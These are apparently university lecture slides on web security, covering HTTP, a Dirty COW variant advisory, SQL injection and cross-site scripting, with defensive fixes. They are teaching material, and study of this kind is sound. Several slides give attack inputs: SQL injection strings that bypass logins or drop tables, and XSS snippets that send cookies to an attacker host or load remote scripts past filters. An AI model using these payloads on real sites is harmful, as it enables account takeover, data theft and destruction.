SysSec

Web Security – Part A

Aurélien Francillon
francill@eurecom.fr
In keeping with tradition, the new fix for THP DirtyCow has no mention at all of security: 
github.com/torvalds/linux ... despite being reported to security@kernel.org:
openwall.com/lists/oss-secu ...

mm, thp: Do not make page table dirty unconditionally i...
Currently, we unconditionally make page table dirty in
touch_pmd(). It may result in false-positive
can_follow_write_pmd(). We may avoid the situation, if we wo...
github.com

4:47 PM - 29 Nov 2017

22 Retweets 30 Likes
News of the World

Date: Thu, 30 Nov 2017 02:32:37 +0200
From: Bindecy <contact@...decy.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2017-1000405: Linux kernel - "Dirty COW" variant on transparent huge pages

Hello,

This is a brief overview of the vulnerability, more details are available in the post referenced in the GitHub link.

==== Summary ====

In the "Dirty COW" vulnerability patch (CVE-2016-5195), can_follow_write_pmd() was changed to take into account the new FOLL_COW flag (8310d48b125d "mm/huge_memory.c: respect FOLL_FORCE/FOLL_COW for thp").

We noticed a problematic use of pmd_mkdirty() in the touch_pmd() function. touch_pmd() can be reached by get_user_pages(). In such case, the pmd will become dirty. This scenario breaks the new can_follow_write_pmd()'s logic - pmd can become dirty without going through a COW cycle - which makes writing on read-only transparent huge pages possible.

This bug is not as severe as the original "Dirty cow" because an ext4 file (or any other regular file) cannot be mapped using THP. Nevertheless, it does allow us to overwrite read-only huge pages. For example, the zero huge page and sealed shmem files can be overwritten (since their mapping can be populated using THP). Note that after the first write page-fault to the zero page, it will be replaced with a new fresh (and zeroed) thp.
This bug is not as severe as the original "Dirty cow" because an ext4 file (or any other regular file) cannot be mapped using THP. Nevertheless, it does allow us to overwrite read-only huge pages. For example, the zero huge page and sealed shmem files can be overwritten (since their mapping can be populated using THP). Note that after the first write page-fault to the zero page, it will be replaced with a new fresh (and zeroed) thp.

Using this primitive, we successfully crashed several processes. A likely consequence of overwriting the huge zero page is having improper initial values inside large BSS sections. Common vulnerable pattern would be using the zero value as an indicator that a global variable hasn't been initialized yet.

Potentially, privileged processes using the mentioned pattern are exploitable.

===== POC =====

The POC overwrites the zero-page of the system.

POC source on GitHub: https://github.com/bindecy/HugeDirtyCowPOC

===== Affected Versions =====

The POC was tested on Ubuntu 17.04 with kernel 4.10 and Fedora 27 with kernel 4.13. Every kernel version with THP support and the Dirty COW patch should be vulnerable (2.6.38 - 4.14).

RHEL claimed by the vendor as not affected.
“News of the World”

===== Affected Versions =====

The POC was tested on Ubuntu 17.04 with kernel 4.10 and Fedora 27 with kernel 4.13. Every kernel version with THP support and the Dirty COW patch should be vulnerable (2.6.38 - 4.14).

RHEL claimed by the vendor as not affected.

Fixed on Nov 27, 2017:
https://github.com/torvalds/linux/commit/a8f97366452ed491d13cf1e44241bc0b5740b1f

===== Timeline =====

22.11.17 – Initial report to security@...nel.org and linux-distros@...openwall.org

22.11.17 – CVE-2017-1000405 was assigned

27.11.17 – Patch was committed to mainline kernel

29.11.17 – Public announcement

===== Credit =====

Eylon Ben Yaakov and Daniel Shapiro from Bindecy
A security researcher has identified thousands of Serial-to-Ethernet devices connected online that leak Telnet passwords that could be used to attack the equipment that is placed behind them.

The leaky devices are various Serial-to-Ethernet "device servers" manufactured by Lantronix, a California-based hardware vendor.

Companies buy these "device servers" and use them as a way to connect to remote equipment that only comes with serial interfaces.

Products such as Lantronix UDS or xDirect allow companies to plug an RS-XXX serial connector in one end, and an RJ-45 Ethernet connector in the other, and then manage the device via a LAN or WAN connection.
Thousands of Serial-To-Ethernet Devices Leak Telnet Passwords

By Catalin Cimpanu

December 1, 2017
11:02 AM
0

The root cause of this huge password exposure is a very old vulnerability that allows attackers to retrieve the setup config of Lantronix devices by sending a malformed request on port 30718.

Old versions of these devices that have not been updated to the latest firmware version will reply back with their config, including the Telnet password in plaintext.

"The exploit has been out there for a while," Anubhav said, pointing out that a Metasploit module has been available since 2012. "Shodan even runs the exploit and displays the credentials."
Web Security - Overview
World Wide Web

• The Web is big and still growing
  – 2008: Google visited 1 trillion unique URLs
  – 2009: over 110M web sites
  – 2015: 1 Billion web sites

• Easiest way to compromise hosts, networks and users
  – Insufficient logs (usually no logs for POST payload)
  – Applications largely developed by amateurs
  – Difficult to defend against, or to detect
  – Firewall? What firewall? Firewalls never filter port 80 outgoing…
  – HTTPS makes packet inspection pointless
  – Encrypted transport layer does not help much

• Attack against web applications constitute 60% of attacks on the Internet
Web Application Security

• When an organization setup a web site, they invite everyone to send them HTTP requests.

• Attacks buried in these requests sail past firewalls without notice because they are inside legal HTTP requests.

• Even “secure” websites that use SSL just accept the requests that arrive through the encrypted tunnel without scrutiny.

• This means that your web application code is part of your security perimeter!
Security issues related to the Web are not new. In fact, some have been well understood for decades

- For a variety of reasons, major software development projects are still making these mistakes and jeopardizing not only their customers’ security, but also the security of the entire Internet
- There is no “silver bullet” to solve these problems. Today’s assessment and protection technology is improving, but can currently only deal with a limited subset of the issues at best
- To address the security issues, organizations need to change their development culture, train developers, update their software development processes, and use technology where appropriate.
The Global Picture

CLIENT-SIDE

Browser

Proxy

Reverse-Proxy, Application Firewall, IDS...

Operating System

SERVER-SIDE

Web-Server

Web Application

Modules

Database

Operating System
The Global Picture: Attack surface

**Firefox 1.5 – 2.2M LOC**
**Mozilla+Plugins ~30M LOC**

**Operating System**
**Operating System**

**Kernel 2.6.17 – 4.1M LOC**

**Browser**

**Proxy**

**Reverse-Proxy, Application Firewall, IDS...**

**Web-Server**

**Web Application**

**Database**

**MySQL 900K LOC**

**Apache 2.0 90K LOC**

**WorldPress ~ 200K LOC**

**Modules**

**CLIENT-SIDE**

**SERVER-SIDE**

**CLIENT-SIDE**
"Time after time, year after year, we see SQL Injection, XSS, information leaks, and session management as the most commonly used Web attacks, and it is mind boggling to see that more than 90 percent of Web applications continue to be vulnerable"

*Cenzic Report 2009*
Attackers are Everywhere

Browser

Plug-Ins

Operating System

Proxy

Reverse-Proxy, Application Firewall, IDS...

Web-Server

Web pages (in millions)

Month (July 2009 - June 2010)

- Malicious Web pages
- Median
Attackers are Everywhere

Browser → Proxy → Phishing Website → Target Website
Countermeasures are Everywhere

- Blacklisting
- Securing Plugins
- JS Sandboxing

Web Proxy

- Web-Application Firewalls
- Web-based IDS

Scanners, Crawlers

Vulnerability detection and mitigation

Plug-Ins

Operating System

Process sandboxing
Short Intro to HTTP

• On top of TCP (default port: 80)
• Two main versions
  – Version 1.0 defined in RFC 1945 (May 1996)
  – Version 1.1 defined in RFC 2616 (June 1999)
  – Version 2.0 defined in RFC 7540 (May 2015)
    • 10/2015 31% of top 100 use it (PAM 2016)
• Client
  – Opens TCP connection to the server
  – Sends an HTTP request
• Server
  – Accepts the TCP connection from the client
  – Processes the HTTP request
  – Sends a HTTP reply
HTTP

• Each client request and server response has three parts:
  – the request or response line
  – a header section
  – the entity body
• The client initiates a transaction as follows:
  GET /index.html?param=value HTTP/1.0

• After the request and headers, the client may send additional data
  – This data is mostly used by CGI programs using the POST method
  – Note that for the GET method, the parameters are encoded into the URL
HyperText Transfer Protocol (HTTP)

```bash
> nc www.iseclab.org 80
GET /index.html HTTP/1.1
HOST: www.iseclab.org

HTTP/1.1 200 OK
Date: Sun, 29 Mar 2009 09:28:06 GMT
Server: Apache/2.2.8 (Ubuntu) mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ubuntu5.5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
ETag: "4c072-4d82-465f664106980"
Accept-Ranges: bytes
Content-Length: 19842
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
```
Status Codes

- **1xx**: Informational
  - 100: CONTINUE

- **2xx**: Success
  - 200: OK

- **3xx**: Redirection
  - 301: MOVED PERMANENTLY
  - 307: TEMPORARY REDIRECT

- **4xx**: Client Error (error in the client request)
  - 400: BAD REQUEST
  - 401: UNAUTHORIZED
  - 404: NOT FOUND

- **5xx**: Server Error
  - 501: NOT IMPLEMENTED
URLs

• **Syntax**: `<scheme>://<authority><path>?<query>`
URLs

- **Syntax:** `<scheme>://<authority><path>?<query>`

- **Scheme:** a string specifying the protocol/framework

- **Examples:**
  - `http://www.francillon.net/~aurel/`
  - `mailto:nobody@iseclab.org`
  - `Telnet://127.0.0.1`
**URLs**

Syntax: `<scheme>://<authority><path>?<query>`

- **Authority**: a name space that qualifies the resource
  - Generally in the form: `username@hostname:portnumber`
  - Hostname can be either a name or an IP address

- **Examples**:
  - `http://s3.eurecom.fr/~aurel/`
  - `mailto:nobody@iseclab.org`
  - `telnet://127.0.0.1`
URLs

**Syntax:** `<scheme>://<authority><path>?<query>`

- **Path:** a `/` separated path of the requested resource
- **Examples:**
  - http://s3.eurecom.fr/~aurel/
  - mailto:nobody@iseclab.org
  - Telnet://127.0.0.1
URLs

**Syntax:** `<scheme>://<authority><path>?<query>`

- **Query**: application-specific piece of information
- **Examples:**
  - mailto:francill@eurecom.fr?subject=blah
HTTPS

- Combination of HTTP and SSL (or TLS)
- Encrypt the communication
  - Protect against eavesdropping
  - Protect from man in the middle attacks
    (provided that the certificate is trusted)
  - Used to protect the user authentication
  - By-pass IDS / IPS

- The trust inherent in HTTPS is based on major certificate authorities that come pre-installed in browser software
- Does not protect from attacks against the web application
The Comodo Incident

• On March 15th 2011, an attacker compromised a Comodo Trusted Partner in Southern Europe

• The attacker issued 9 fraudulent SSL certificates
  – All certificates were revoked immediately on discovery
    • Followed by very rapid updates by several browser manufacturers
  – At least one certificate (login.yahoo.com) was observed live in the Internet

The next incidents

• Diginotar was hacked
  – Certificates were issued
  – Public warning / revocation of certificates 2 months later!
  – Company under investigation
  – Bankrupt

• And more...
Web Server Scripting

• Allows easy implementation of complex functionality also for non-programmers
  – Think: Is this a good idea?
  – Example scripting languages: Perl, Python, ASP, JSP, PHP

• Scripts are installed on the Web server and return HTML as output that is then sent to the client

• Template engines are often used to power Web sites
  – E.g., Cold Fusion, Cocoon, Zope
  – These engines often support/use scripting languages
Web Application Example

Objective: write an application that accepts a username and password and displays them back to the user

```html
<html><body>
<form action="/scripts/login.pl" method="post">
Username: <input type="text" name="username"> <br>
Password: <input type="password" name="password"> <br>
<input type="submit" value="Login" name="login">
</form>
</body></html>
```
# Corresponding Perl script that displays the username and password passed to it:

```perl
#!/usr/local/bin/perl
uses CGI;
$query = new CGI;
$username = $query->param("username");
$password = $query->param("password");
...
print "<html><body> Username: $username <br>
Password: $password <br>
</body></html>";
```
Web Security - Overview
Know Your Audience / Enemy

• The potential audience of a web application includes the typical human being
  – However, there may be automated, “bad” clients as well

• Even Intranet applications must take these threats into consideration because e-mails containing HTML could be sent
  – Malicious content delivered through Web browsing can compromise or hijack intranet client nodes and cause them to attack an intranet web application
  – Possible measure against “insider attacks”: Define policies so that internal users cannot access your web application
A Common Root for Many Problems

- Web applications use input from HTTP requests (and occasionally files) to determine how to respond
  - Attackers can tamper with any part of an HTTP request, including the URL, query string, headers, cookies, form fields, and hidden fields
  - Common input tampering attempts include XSS, SQL Injection, hidden field manipulation, buffer overflows, cookie poisoning, hidden field manipulation, remote file inclusion...

The failure to properly validate input provided by the user is the root of almost all the major vulnerabilities in web applications
A surprising number of web applications use only client-side mechanisms to validate input

- Client side validation mechanisms are easily bypassed, leaving the web application without any protection against malicious parameters

How to determine if you are vulnerable?

- Any part of an HTTP request that is used by a web application without being carefully validated can potentially be used to attack the application
- The simplest way: to have a detailed code review, searching for all the calls where information is extracted from an HTTP request
• How to protect yourself?
  – The best way to prevent parameter tampering is to ensure that all parameters are validated before they are used
  – A centralized component or library is likely to be the most effective, as the code performing the checks should be all in one place

• Two main approaches:
  – Negative: specify what you don't want and everything else is accepted
    • Often implemented in webapps
    • Very hard to get it right and easy to evade
  – Positive: specify what is acceptable and everything else is filtered out
    • Remember the fail safe principle
Input Validation

Parameters should be validated against a “positive” specification that defines:

1. Data type (string, integer, real, etc…)
2. Allowed character
3. Numeric range
4. Minimum and maximum length
5. Whether null is allowed
6. Whether the parameter is required or not
7. Whether duplicates are allowed
8. Specific legal values (enumeration) or specific patterns (regular expressions)
Injection Attacks: Overview

• Many webapp invoke interpreters
  – SQL
  – Shell command
  – Sendmail
  – LDAP
  – ...

• Interpreters execute the commands specified by the parameters or input data
  – If the parameters are under control of the user and are not properly sanitized, the user can inject its own commands in the interpreter
Web Security – SQL Injections
SQL Injection is a particularly widespread and dangerous form of injection attack that consists in injecting SQL commands into the database engine through an existing application.
Relational Databases

• A relational database contains one or more tables
  – Each table is identified by a name
  – Each table has a certain number of named columns
• Tables contain records (rows) with data
• For example, the following table (called "users") contains data distributed in three rows

<table>
<thead>
<tr>
<th>userID</th>
<th>Name</th>
<th>LastName</th>
<th>Login</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>John</td>
<td>Smith</td>
<td>jsmith</td>
<td>hello</td>
</tr>
<tr>
<td>2</td>
<td>Adam</td>
<td>Taylor</td>
<td>adamt</td>
<td>qwerty</td>
</tr>
<tr>
<td>3</td>
<td>Daniel</td>
<td>Thompson</td>
<td>dthompson</td>
<td>dthompson</td>
</tr>
</tbody>
</table>
• SQL (Structured Query Language) is a language to access databases

• SQL can:
  – Query the content of a database
  – Retrieve data from a database
  – Insert/Delete/Update records in a database

• SQL is standard (ANSI and ISO) but most DBMS implement the language in a different way, providing their own proprietary extensions in addition to the standard
• To extract the last name of a user from the previous table:

```sql
mysql> SELECT LastName FROM users WHERE UserID = 1;
+----------------+
| LastName       |
+----------------+
| Smith          |
+----------------+
```

1 row in set (0.00 sec)
To exploit a SQL injection flaw, the attacker must find a parameter that the web application uses to construct a database query.

By carefully embedding malicious SQL commands into the content of the parameter, the attacker can trick the web application into forwarding a malicious query to the database.

The consequences are particularly damaging, as an attacker can obtain, corrupt, or destroy database contents.
SQL Injections

- It is not a DB or web server problem
  It is a flaw in the web application!
  - Many programmers are still not aware of this problem
  - Many of the tutorials and demo “templates” are vulnerable
  - Even worse, many of solutions posted on the Internet are not good enough

... query = "SELECT * FROM `users` WHERE `name` = ' " + userName + '" ;"
...

SELECT * FROM `users` WHERE `name` = 'John';
SQL Injections

- It is not a DB or web server problem
  It is a flaw in the web application!
  - Many programmers are still not aware of this problem
  - Many of the tutorials and demo “templates” are vulnerable
  - Even worse, many of solutions posted on the Internet are not good enough

```sql
query = "SELECT * FROM `users` WHERE `name` = ' " + userName + "';"
```

"SELECT * FROM `users` WHERE `name` = 'John' OR 'x'='x';"
Perl script that looks up username and password:

```perl
...
$query = new CGI;
$username = $query->param("username");
$password = $query->param("password");
...
$sql_command = "select * from users where username=\"$username\" and password=\"$password\";"
$sth = $dbh->prepare($sql_command)
..."
Perl script that looks up *username* and *password*:

```perl
...
$query = new CGI;
$username = $query->param("username");
$password = $query->param("password");
...
$sql_command = "select * from users where username='".$username."' and password='".$password."';"
$sth = $dbh->prepare($sql_command);
...
```

No Validation!
SQL Injection 101 (or 1=1)

• By-pass SQL conditions by entering: ‘ or 1=1 --
• For example, for a common username/password query:
  
  ```sql
  select * from table where username=''
or 1=1 --' and password=''
  ```

  – The conditional statement "username =" or 1=1" is true whether or not username is equal to "
  – The "--" makes sure that the rest of the SQL statement is interpreted as a comment and therefore password ="" is not evaluated (in SQL Server)
Obtaining Information using Errors

• Errors returned from the application might help the attacker (e.g., ASP – default behavior)
  – Username: ' having 1=1--
    Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft]
    [ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the
    select list because it is not contained in an aggregate function and there is
    no GROUP BY clause.
    /process_login.asp, line 35

• Make sure that you do not display unnecessary debugging and error messages to users.
  – For debugging, it is always better to use log files (e.g., error log).
Some SQL Attack Examples

- `select * ...; insert into user values("user","h4x0r");`
  - Attacker inserts a new user into the database

- The attacker could also use stored procedures
  - `xp_cmdshell()`
  - “bulk insert” statement to read any file on the server
  - e-mail data to the attacker’s mail account
  - Play around with the registry settings

- `select *... ; drop table SensitiveData;`

- Appending “;” character does not work for all databases. Might depend on the driver (e.g., MySQL)
Advanced SQL Injection

- Web applications will often escape the ‘ and “ characters (e.g., PHP).
  - This will prevent most SQL injection attacks… but there might still be vulnerabilities
- In large applications, some database fields are not strings but numbers. Hence, ‘ or “ characters are not necessary (e.g., … where id=1)
- Attacker might still inject strings into a database by using the “char” function (e.g., SQL Server):
  - `insert into users values(666,char(0x63)+char(0x65)…)`
Blind SQL Injection

• A typical countermeasure is to prohibit the display of error messages. But, is this enough?
  – No, your application may still be vulnerable to blind SQL injection
• Let’s look at an example. Suppose there is a news site
  – Press releases are accessed with pressRelease.jsp?id=5
  – An SQL query is created and sent to the database: `select title, description FROM pressReleases where id=5;`
  – Any error messages are smartly filtered by the application
Blind SQL Injection

• How can we inject statements into the application and exploit it?
  – We do not receive feedback from the application so we can use a trial-and-error approach
  – First, we try to inject pressRelease.jsp?id=5 AND 1=1
  – The SQL query is created and sent to the database:
    select ....from PressReleases where id=5 AND 1=1
  – If there is an SQL injection vulnerability, the same press release should be returned
  – If input is validated, id=5 AND 1=1 should be treated as value
Blind SQL Injection

• When testing for vulnerability, we know 1=1 is always true
  – However, when we inject other statements, we do not have any information
  – What we know: If the same record is returned, the statement must have been true
  – For example, we can ask server if the current user is “h4x0r”:
    pressRelease.jsp?id=5 AND user_name()=‘h4x0r’
  – By combining subqueries and functions, we can ask more complex questions (e.g., extract the name of a database character by character)

• This is very powerful when combined with wildcard
  pressRelease.jsp?id=5 AND name LIKE ‘h%’
  This matches if any “name” starts with 'h'
  This allows to bruteforce the contents of the tables
Second Order SQL Injection

• SQL is injected into an application, but the SQL statement is invoked at a later point in time
  – e.g., Guestbook, statistics page, etc.

• Even if application escapes single quotes, second order SQL injection might be possible
  – Attacker sets user name to: `john'--`, application safely escapes value to `john''--`
  – At a later point, attacker changes password (and “sets” a new password for victim `john`):
    • `update users set password= ... where database_handle("username")='john'--'`
Second Order SQLi: example

- A table is created with 2 columns name and login
  ```sql
  sqlite> create table users(name string, login string);
  ```

- CGI creates a new user called John
  ```sql
  Sqlite> insert into users values('John','jsmith');
  ```

- Table now contains
  ```sql
  sqlite> select * from users;
  |John|jsmith|
  ```

- CGI receives another user called "Robert' or 1=1;--", adds it escaping the quote (escaping by adding a ' sign)
  ```sql
  sqlite> insert into users values('Robert'' or 1 = 1;--','haxor');
  sqlite> select * from users;
  John|jsmith
  Robert' or 1 = 1;--|haxor
  ```

- Later on the CGI fetches all users and iterates over usernames to do something, reuses the names without escaping again which leads to the second order injection:
  ```sql
  sqlite> select * from users where name = 'Robert' or 1 = 1;--';
  ```
Exploit of a Mom (xkcd)

HI, THIS IS YOUR SON’S SCHOOL. WE’RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR – DID HE BREAK SOMETHING?
IN A WAY –

DID YOU REALLY NAME YOUR SON Robert’); DROP TABLE Students;-- ?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE’VE LOST THIS YEAR’S STUDENT RECORDS. I HOPE YOU’RE HAPPY.

AND I HOPE YOU’VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.
SQL Injection Solutions

• Developers must never allow client-supplied data to modify SQL statements
  – Best protection is to isolate application from SQL ;-
  – All SQL statements required by application should be stored procedures on the database server
  – The SQL statements should be executed using safe interfaces such as JDBC `CallableStatement` or ADO’s `Command Object`
  – Both prepared statements and stored procedures compile SQL statements before user input is added
• Let us use \texttt{pressRelease.jsp} as an example. Here our code:
  
  ```java
  String query = "SELECT title, description from pressReleases WHERE id= " + request.getParameter("id");
  Statement stat = dbConnection.createStatement();
  ResultSet rs = stat.executeQuery(query);
  ```

• The first step to secure the code is to take the SQL statements out of the web application and into DB

  ```sql
  CREATE PROCEDURE getPressRelease @id integer
  AS SELECT title, description FROM pressReleases WHERE Id = @id
  ```
Now, in the application, instead of string-building SQL, call stored procedure:

```java
CallableStatements cs = dbConnection.prepareCall("{call getPressRelease(?)}");
cs.setInt(1,Integer.parseInt(request.getParameter("id")));
ResultSet rs = cs.executeQuery();
```
$stmt = $mysqli->stmt_init();
$stmt->prepare("SELECT District FROM City WHERE Name=?"));
$stmt->bind_param("s", $city);
   /* type can be “s” = string, “i” = integer .. */
$stmt->execute();
$stmt->bind_result($district);
$stmt->fetch();
printf("%s is in district %s\n", $city, $district);
MySQL.com Vulnerable To Blind SQL Injection Vulnerability

From: Jack haxor <jakh4xor () h4cky0u org>
Date: Sun, 27 Mar 2011 05:46:30 +0000

[+] MySQL.com Vulnerable To Blind SQL Injection vulnerability
[+] Author: Jackh4xor @ w4ck1ng
[+] Site: http://www.jakh4xor.com

About MySQL.com :

The Mysql website offers database software, services and support for your business, including the Enterprise server, the Network monitoring and advisory services and the production support. The wide range of products include: Mysql clusters, embedded database, drivers for JDBC, ODBC and Net, visual database tools (query browser, migration toolkit) and last but not least the MaxDB. the open source database certified for SAP/R3. The Mysql services are also made available for you. Choose among the Mysql training for database solutions, Mysql certification for the Developers and DBAs, Mysql consulting and support. It makes no difference if you are new in the database technology or a skilled developer of DBA, Mysql proposes services of all sorts for their customers.

Host IP : 213.136.52.29
Web Server : Apache/2.2.15 (Fedora)
Powered-by : PHP/5.2.13
Injection Type : MySQL Blind
Current DB : web
JavaScript
Overview

• JavaScript language characterization

• Security policies
  – same-origin
  – code signing

• Browser vulnerabilities
  – implementation errors
  – design issues

• Interaction between client and server
JavaScript

- Developed by Netscape as a lightweight scripting language with object-oriented capabilities
  - Current version standardized as ECMA 357
  - Most popular scripting language on the Internet
  - Works with basically all browsers

- Designed to add interactivity to HTML pages
  - Usually embedded directly into HTML pages (`<script>` tags)
  - Can access and add elements to HTML page (DOM tree)
  - Can react to events

- JavaScript is a scripting language
  - Dynamic, weak typing
  - Interpreted language
  - Script executes on virtual machine in browser
JavaScript

• JavaScript is quite different from Java
  – Originally, JavaScript was named LiveScript
    • marketing department made developers change the name
  – Java is more complex and powerful
  – static, strong typing

• Design decisions (Brendan Eich)
  – make it easy to copy and paste snippets of code
  – tolerate “minor” errors (missing semicolons)
  – simplified event handling
  – choose some powerful, often-needed primitives
JavaScript

• Syntax quite similar to Java
  – control statements, exception handling

• No classes, but object-based
  – uses objects with properties (name-value pairs)

• No input/output facilities per se
  – must be provided by embedding environment

• Scope of variables is either global or function-local

• Code can be generated at run-time and executed on-the-fly
  – `eval()` function
Security Policies

• **Unknown code is downloaded to machine**
  – always risky from security point of view
  – impossible for ask user permission to execute JavaScript code
    (too annoying, more than 50% of pages don't work properly without JS)
  – thus, special restrictions must apply

• **JavaScript sandbox**
  – no access to memory of other programs, file system, network
  – only current document accessible
  – might want to make exceptions for trusted code

• **Basic policy for untrusted JavaScript code**
  – *same-origin policy*
Same-Origin Policy

The script can only access resources (e.g., cookies) that are associated with the same origin

- prevents hostile script from tampering with other pages in the browser
- prevents script from snooping on input (passwords) of other windows

• Every frame in a browser’s window is associated with a domain
  - A domain is determined by the server, protocol, and port from which the frame content was downloaded

• If a frame explicitly include external code, this code will execute within the frame domain even though it comes from another host
Same-Origin Policy – Security Problems

• Browser vulnerability where policy is not enforced properly
  – Many bugs in Safari, Internet Explorer, and Mozilla
  – quite common in early days

• Problems with multiple parties on same site
  – one server can hold directories for different parties
    http://www.example.com/party1
    http://www.example.com/party2
  – no protection provided by same-origin policy in this case
Security Policies

• **Browsers offer mechanisms to customize policies**
  – Firefox and Internet Explorer allow general security policies
  – grant different capabilities to different origins
  – can be very fine-grained
  – based on individual methods (e.g., window.open)
  – often difficult and cumbersome to configure
  – IE security zones “low”, “medium”, “high”
Signed Scripts

• Introduce a mechanism so that trusted scripts can be run with elevated rights
  – allows access to file system and full control over browser
  – uses classic asymmetric cryptography
  – code provider obtains public / private key pair
  – publishes signed public key (certificate)
  – signs code using private key

• Signing does not imply that code is not malicious!
  – signatures can sometimes be easy to obtain
  – thus, most useful in restricted (corporate) Intranets
Browser Vulnerabilities

• Long and troubling history of bugs

• Typically involve user privacy
  – access to file system
  – access to browser cache (previous surfed pages, URL strings)
  – access to browser preferences (email address, network settings)
  – frame information leak
  – session monitoring
  – forced sending of emails

• Also more severe bugs detected
  – upload and execution of arbitrary files

• Of course, known implementation holes are often quickly closed
  – situation was worst between 1995 - 2000
Browser Vulnerabilities

- Design problems with JavaScript - malicious scripts
- Scripts can consume CPU resources
  - infinite loops
    - some browsers have heuristics that can stop such behaviour
    - unfortunately, detection of infinite loops undecidable in general case
- Scripts can consume memory
  - stack (space) overflow
    - can be easy caused by recursive functions
    ```javascript
    function f() {
        var x = 1;
        f();
    }
    ```
  - allocating objects in infinite loops
Browser Vulnerabilities

• Scripts can keep browser busy
  – self-referencing `<frameset>` elements
can cause infinite recursion of document fetches
  – pop up annoying number of alert messages
  – create windows that will `blur()` when receiving focus
  – create windows that can re-spawn on `unload()` events

• Scripts that can be used to deceive user
  – pop up windows that mimic operating system messages
    trick user into downloading or installing malicious software
  – useful for phishing
    • map in padlock to pretend SSL connection is active
    • spawn window that overlays browser location bar to spoof actual URL
• Protection of JavaScript source code
  – not possible, code is sent in plain text
  – futile attempts of JavaScript code protection
    • disable view source, e.g., right mouse button menu
    • only send script to certain browsers
  – code can be obfuscated (remember that eval is available)
    but de-obfuscation function must be included in code as well

⇒ don’t store secrets in the code
Developing JavaScript

- **Password protection of pages**
  ```javascript
  if (document.forms[0].elements[0].value == 'mypassword')
      location.href = 'protectedpage.html';
  ```

- **Better is to use password as name of page**
  ```javascript
  location.href = this.elements[0].value + '.html';
  ```
  - page can be accessed when name is known
  - content is transmitted plain text

- **Better is to send encrypted page and use password locally to decrypt**

- **Preferable is server-side authentication with SSL**
Developing JavaScript

- Perform encryption before sending data to server
  - impossible because key must be shared between user and server
  - thus, key must be contained in script
  - can be snooped by attacker

- Performing client-side checks
  - can be useful to improve performance
  - but server cannot rely on any client-side security validation

- Nice mechanisms to hide email addresses
  - assemble email address on load
  - (dumb) crawlers parses only text

- Cross-site scripting problematic
Cross-Site Scripting
• XSS attacks are used to bypass JavaScript’s same origin policy
  – Problem: same origin policy mechanism fails if user is lured into downloading malicious code from a trusted site

• An attacker can use cross site scripting to send malicious script to an unsuspecting victim
  – The end user’s browser has no way to know that the script should not be trusted, and will execute the script.
  – Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site.
  – These scripts can even completely rewrite the content of an HTML page!
Cross-site scripting (XSS)

- XSS attacks can generally be categorized into two classes: stored and reflected
  - Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc.
  - Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.
XSS Delivery Mechanisms

- **Reflected attacks** are delivered to victims via another route (e.g., an email, or another web page controlled by the attacker)
  - When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser

- **Stored attack** require the attacker to store the malicious script on a vulnerable website (e.g., a blog, a message board, ...)
  - First the JavaScript code is stored by the attacker as part of a message
  - Then the victim downloads and executes the code when a page containing the attacker’s input is viewed
Cross-site scripting (XSS)

• The likelihood that a site contains potential XSS vulnerabilities is extremely high
  – There are a wide variety of ways to trick web applications into relaying malicious scripts
  – Developers that attempt to filter out the malicious parts of these requests are very likely to overlook possible attacks or encodings

• How to protect yourself?
  – Ensure that your application performs validation of all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed
Suppose a Web application (*text.pl*) accepts a parameter `msg` and displays its contents in a form:

```php
$query = new CGI;
$directory = $query->param("msg");
print "
<html><body>
<form action="displaytext.pl" method="get">
$directory <br>
<input type="text" name="txt">
<input type="submit" value="OK">
</form></body></html>"
```
If the script `text.pl` is invoked, as
- `text.pl?msg=HelloWorld`

This is displayed in the browser:

- Text Field
  - `HelloWorld`
  - `$msg`
  - OK
There is an XSS vulnerability in the code. The msg input is *not* validated so JavaScript code can be injected into it.

If we enter the URL `text.pl?msg=<script>alert(“I Own you”</script>`
- We can do “anything” we want. E.g., we display a message to the user… worse: we can steal sensitive information.
- Using `document.cookie` identifier in JavaScript, we can steal cookies and send them to our server.

We can e-mail this URL to thousands of users and try to trick them into following this link (a reflected XSS attack).
Some XSS Attacker Tricks

• How does attacker “send” information to herself?
  – e.g., change the source of an image:
  – `document.images[0].src="www.attacker.com/"+document.cookie;`

• Quotes are filtered: Attacker uses the unicode equivalents `"` and `'`

• “Form redirecting” to redirect the target of a form to steal the form values (e.g., password)

• Bypassing sanitization (e.g., line break trick)
  `<IMG SRC="javascript:alert('test');">  <!-- line break trick \10 \13 as delimiters.>`
Some XSS Attacker Tricks

• If ‘ and “ characters are filtered… (e.g., as in PHP):
  – regexp = /SysSec is boring/;
    alert(regexp.source);

• Attackers are creative (application-level firewalls have a difficult job). Check this out (no “/” allowed):
  – var n= new RegExp("http: myserver myfolder evilsript.js");
    forslash=location.href.charAt(6);
    space=n.source.charAt(5);
    alert(n.source.split(space).join(forslash));
    document.scripts[0].src = n.source.split(space).join(forslash)
Some XSS Attacker Tricks

• How much script can you inject?
  – This is the web so the attacker can use URLs. That is, attacker could just provide a URL and download a script that is included (no limit!)
  – img src='http://valid address/clear.gif'
    onload='document.scripts(0).src ="http://myserver/evilscript.js"'
XSS Mitigation Solutions

• XSS are very difficult to prevent
• Application-level firewalls
  – Scott and Sharp (WWW 2002)
• AppShield
  – (claims to learn from traffic – does not need policies – costs a lot of money). How effective is it against sophisticated attacks?
• Static code analysis
  – Huang et al. (WWW 2003, 2004)
  – Jovanovic et al., Pixy, (Oakland 2006)
• Client-side solutions
  – Noxes (Personal Web firewall with XSS heuristics), SAC 2006
XSS Mitigation Solutions

• httpOnly (MS solution)
